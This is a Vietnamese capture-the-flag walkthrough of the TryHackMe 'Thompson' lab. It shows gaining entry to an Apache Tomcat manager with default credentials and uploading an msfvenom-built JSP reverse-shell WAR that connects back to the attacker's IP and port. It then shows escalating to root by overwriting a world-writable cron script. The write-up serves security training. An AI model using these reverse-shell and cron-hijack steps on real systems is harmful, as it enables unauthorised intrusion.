Bài viết

TryHackMe - Thompson

Một thử thách khá hay, sử dụng tính năng tải tệp lên Tomcat và Metasploit

TryHackMe - Thompson

Giới thiệu

Đây là một room khá phù hợp cho người mới bắt đầu muốn luyện tập reverse shell thông qua tải tệp lên và giành quyền truy cập theo cách đó. Không cần leo thang đặc quyền vì script có sẵn chỉ cần chỉnh sửa một chút.

Nhìn chung đây là một thử thách khá đơn giản nhưng rất phù hợp cho người học.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Chúng ta có 3 cổng đang mở:

22/tcp 8009/tcp 8080/tcp

Trinh sát

Hãy truy cập trang web tại http://10.10.83.60:8080/.

Chúng ta có thể thấy một trang con dành cho manager.

Manager Webapp

Một biểu mẫu web xuất hiện, nhưng khi nhấn Cancel, chúng ta được chuyển hướng đến trang này.

Chúng ta có thể thấy một số thông tin đăng nhập.

Tomcat Credentials

1
2
username: tomcat
password: s3cret

Bây giờ, hãy thử sử dụng thông tin đăng nhập này.

Manager Webapp

Và chúng ta đã đăng nhập vào manager.

Inside Manager

Truy cập ban đầu

Chúng ta có thể thấy một trình tải tệp lên, có vẻ chỉ chấp nhận các tệp .war.

Uploader

Hãy tải tệp PHP reverse shell tại https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.

Chúng ta cần cập nhật địa chỉ IP và PORT, sau đó lưu tệp dưới tên shell.php.war vì trình tải lên chỉ chấp nhận các tệp .war.

1
2
$ip = '10.11.75.122';  // CHANGE THIS
$port = 1337;       // CHANGE THIS

Chúng ta không thể khởi động ứng dụng theo cách này.

Shell

Cách này sẽ không hoạt động, vì vậy hãy thử tự tạo một tệp .war bằng Metasploit.

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war

Bây giờ, hãy thử tải tệp lên.

Shell

Quá trình tải lên đã thành công. Bây giờ, hãy mở cổng ở phía máy của chúng ta và truy cập trang exploit.

Shell

User Flag

Chúng ta đã nhận được kết nối và có thể tìm thấy user flag tại /home/jack/user.txt.

Shell

Root Flag

Hãy xem những tệp nào đang có sẵn.

1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---

Có vẻ có một mối liên hệ ở đây, vì vậy hãy kiểm tra các cron job.

1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la 
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .
drwxr-xr-x 3 root root 4096 Aug 14  2019 ..
-rw------- 1 root root 1476 Aug 14  2019 .bash_history
-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14  2019 .cache
-rwxrwxrwx 1 jack jack   26 Aug 14  2019 id.sh

Có vẻ id.sh được chạy với quyền root, vì vậy chúng ta chỉ cần sử dụng cat để ghi nội dung của tệp root.txt vào test.txt.

1
echo "cat /root/root.txt > test.txt" > id.sh

Root

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .